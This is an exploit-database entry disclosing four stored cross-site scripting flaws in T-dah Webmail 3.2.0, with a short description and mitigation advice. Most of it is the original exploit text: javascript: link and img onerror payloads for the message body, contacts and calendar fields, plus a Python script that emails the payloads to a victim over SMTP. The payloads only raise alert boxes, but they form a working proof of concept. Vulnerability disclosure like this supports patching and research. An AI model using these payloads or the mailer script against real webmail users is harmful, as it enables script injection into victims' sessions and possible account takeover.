T-dah Webmail Multiple Stored XSS issues.

vendor:

T-dah Webmail

by:

Shai rod

7,5

CVSS

HIGH

Stored XSS

CWE

Product Name: T-dah Webmail

Affected Version From: 3.2.0

Affected Version To: 3.2.0

Patch Exists: NO

Related CWE: N/A

CPE: a:tdah:t-dah_webmail

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

T-dah Webmail Multiple Stored XSS issues.

T-dah is an Open Sourced Universal Webmail origially developed by Aldoir Ventura under the name Uebimiau in which we picked up late in 2007. It is free and can be installed on any server that supports PHP. There are four stored XSS vulnerabilities in the application. The first is an XSS in the message body (HREF) which can be triggered when the user clicks the link. The second is a stored XSS in the email body which can be triggered when the user opens the message. The third is a stored XSS in contacts which can be triggered when creating a new contact. The fourth is a stored XSS in the calendar which can be triggered when adding a new event.

Mitigation:

Input validation should be used to prevent XSS attacks. All user-supplied input should be validated and filtered before being used in the application. Additionally, the application should be configured to use the HTTPOnly flag for cookies.

Source

Exploit-DB raw data:

#!/usr/bin/python

'''

# Exploit Title: T-dah Webmail Multiple Stored XSS issues.
# Date: 17/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://tdah.us/
# Software Link: http://sourceforge.net/projects/t-dahmail/files/latest/download?utm_expid=6384-3&utm_referrer=http%3A%2F%2Fsourceforge.net%2Fprojects%2Ft-dahmail%2F
# Version: 3.2.0
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

About the Application:
======================

T-dah is an Open Sourced Universal Webmail origially developed by Aldoir Ventura under the name Uebimiau in which we picked up late in 2007.
It is free and can be installed on any server that supports PHP.


Vulnerability Description
=========================

1. XSS In message body (HREF)

Send an email to the victim with the payload in the e-mail body.
XSS Will be triggered when the user clicks the link.

XSS Payload: <a href=javascript:alert("XSS")>Click Me</a>

2. Stored XSS in email body (Previously Discovered by loneferret - http://www.exploit-db.com/exploits/20364/).

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Send an email to the victim with the payload in the email body, once the user opens the message XSS should be triggered.


3. Stored XSS contacts.

Another stored XSS can be triggered when crating a new contact, almost every field in the form is vulnerable
for example you can inject your payload <img src='1.jpg'onerror=javascript:alert("XSS")> in the "Name" field, Save contact, XSS Shoud be triggerd.

4. Stored XSS in Calendar

Add a new event to calendar and in the message field insert the javascript payload: <img src='1.jpg'onerror=javascript:alert("XSS")>
Save the event, XSS Should be truggered.


'''

import smtplib

print "###############################################"
print "#      T-dah Webmail 3.2.0 Stored XSS POC     #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "T-dah Webmail XSS POC"

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<img src='1.jpg'onerror=javascript:alert("XSS-1")>\r\n"""
msg += """<a href=javascript:alert("XSS-2")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"